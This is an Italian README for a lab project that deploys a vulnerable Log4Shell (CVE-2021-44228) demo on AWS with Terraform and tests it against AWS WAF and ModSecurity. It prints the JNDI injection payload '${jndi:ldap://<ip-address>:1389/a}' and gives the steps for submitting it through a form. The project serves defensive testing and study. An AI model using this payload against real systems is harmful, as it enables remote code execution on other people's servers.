
Questo progetto dimostra una proof-of-concept della vulnerabilità log4j (CVE-2021-44228) su AWS utilizzando Terraform come Infrastructure-as-a-Code.
Questi file di progetto dimostrano una proof-of-concept della vulnerabilità log4j (CVE-2021-44228) su AWS utilizzando Terraform Infrastructure-as-a-code.
Ci sono 2 demo in questo progetto:
Conclusione: La prima demo dimostra un exploit riuscito usando AWS WAF. La seconda demo è stata un tentativo fallito quando ModSecurity è in atto. Rimuovendo ModSecurity l'exploit avrà successo. Potrebbe essere perché ModSecurity è un progetto attivo, quindi le stringhe vulnerabili sono state identificate e filtrate.
Questa poc proviene da: https://github.com/kozmer/log4j-shell-poc
Questo blog Medium spiega com'è andato il suo tentativo: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Personalmente, ho testato usando Windows + Powershell, la macchina cloud è Ubuntu 18 LTS. (Exploit con kali o qualsiasi linux)
Creala tramite web (Nome 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Seleziona utente > Seleziona la sezione security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
Dopo l'esecuzione, verranno elencati un IP / DNS.
Per single-instance, assicurati che http:<aws host url>:8080 sia accessibile
Per double-instance, assicurati che http:<aws host url> sia accessibile
* nota che avviare 'double-instance' richiede molto più tempo, puoi usare journalctl -f dopo l'accesso SSH al sistema per monitorare l'avanzamento
Se segui il journal, "Reached target Cloud-init target." significa che è nello stato pronto.

Imposta il permesso di esecuzione
chmod +x ../exploit-script-remote.sh
Esegui lo script con la variabile fornita
../exploit-script-remote.sh
Nota che il payload viene mostrato alla fine dello script simile a ${jndi:ldap://<ip-address>:1389/a}
Visita http:<aws host url>:8080
Copia il payload nel campo 'username' e poi invia il modulo

File JDK: ho verificato che l'integrità dalla fonte baidu sia la stessa hash di Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Istanza: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
Istanza spot: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[chiave ssh al volo] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Templating: https://spacelift.io/blog/terraform-templates